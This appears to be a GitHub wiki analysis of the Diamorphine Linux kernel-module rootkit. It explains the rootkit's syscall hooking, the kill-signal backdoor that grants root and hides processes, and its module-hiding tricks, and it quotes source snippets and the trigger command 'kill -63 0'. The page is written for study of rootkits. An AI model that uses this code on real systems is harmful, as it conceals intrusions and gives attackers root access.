Skip to content

Diamorphine

linuxthor edited this page Sep 30, 2020 · 14 revisions

Introduction
Features
Community
Install process
Architecture
Notes
-->sig_kill backdoor
-->sys_call_table location
-->Stealth features
Conclusion

Introduction

Diamorphine by m0nad (Victor Ramos Mello) is a Linux LKM based rootkit with broad version compatibility (2.6.* to 5.*)

Github Project Page

Features

Diamorphine advertises the following set of capabilities:

Features

Community

Diamorphine has an active bug tracker/support system on it's Github project page and the lead developer m0nad appears quick to respond.

Bug

Install

The install process is simply making an LKM and inserting it into the kernel. No special configuration tool or installer is provided which is to be expected as Diamorphine has less features than e.g Reptile

Architecture

Diamorphine is very much the traditional LKM rootkit - it's plan is a simple one.. Find the syscall table, do a little cr0 twiddle to enable write, overwrite some entries in there and divert a few things into it's own code where it can do evil™ There are just three syscalls hooked getdents, getdents64, and kill so it's quite compact.

Notes

sig_kill

sig_kill is used to trigger a number of different actions by the rootkit

	struct task_struct *task;
	switch (sig) {
		case SIGINVIS:
			if ((task = find_task(pid)) == NULL)
				return -ESRCH;
			task->flags ^= PF_INVISIBLE;
			break;
		case SIGSUPER:
			give_root();
			break;
		case SIGMODINVIS:
			if (module_hidden) module_show();
			else module_hide();
			break;
		default:
			return orig_kill(pt_regs);

In this way a simple system tool like 'kill' is used to control the rootkit - an elegant solution.

For example:

kill -63 0

To toggle visibility of the rootkit LKM.

sys_call_table

The sys_call_table is located using one of two methods:

unsigned long *
get_syscall_table_bf(void)
{
	unsigned long *syscall_table;
	
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
	syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
	return syscall_table;
#else
	unsigned long int i;

	for (i = (unsigned long int)sys_close; i < ULONG_MAX;
			i += sizeof(void *)) {
		syscall_table = (unsigned long *)i;

		if (syscall_table[__NR_close] == (unsigned long)sys_close)
			return syscall_table;
	}
	return NULL;
#endif
}

The 'old way' is a traditional brute force search/pointer to function comparison. The newer way is kallsyms_lookup_name("sys_call_table") which works ok for now but will stop working eventually

Stealth

It's the usual ways of hiding but here we see a 'tidy' function that is supposed to further hide the module(?) It takes the unusual step of freeing the sect_attrs (and previously a bunch of other stuff at one point?) I'm not sure if this is to hide from some specific tool? Do you know?

static inline void
tidy(void)
{
//	kfree(THIS_MODULE->notes_attrs);
//	THIS_MODULE->notes_attrs = NULL;
	kfree(THIS_MODULE->sect_attrs);
	THIS_MODULE->sect_attrs = NULL;
//	kfree(THIS_MODULE->mkobj.mp);
//	THIS_MODULE->mkobj.mp = NULL;
//	THIS_MODULE->modinfo_attrs->attr.name = NULL;
//	kfree(THIS_MODULE->mkobj.drivers_dir);
//	THIS_MODULE->mkobj.drivers_dir = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
	list_add(&THIS_MODULE->list, module_previous);
	//kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
	//			MODULE_NAME);
	module_hidden = 0;
}

void
module_hide(void)
{
	module_previous = THIS_MODULE->list.prev;
	list_del(&THIS_MODULE->list);
	//kobject_del(&THIS_MODULE->mkobj.kobj);
	//list_del(&THIS_MODULE->mkobj.kobj.entry);
	module_hidden = 1;
}

Conclusion

Diamorphine is a simple, self-contained LKM rootkit with broad version compatibility. Diamorphine makes a good resource for study of LKM rootkits as all the code is clearly laid out in one file.

Clone this wiki locally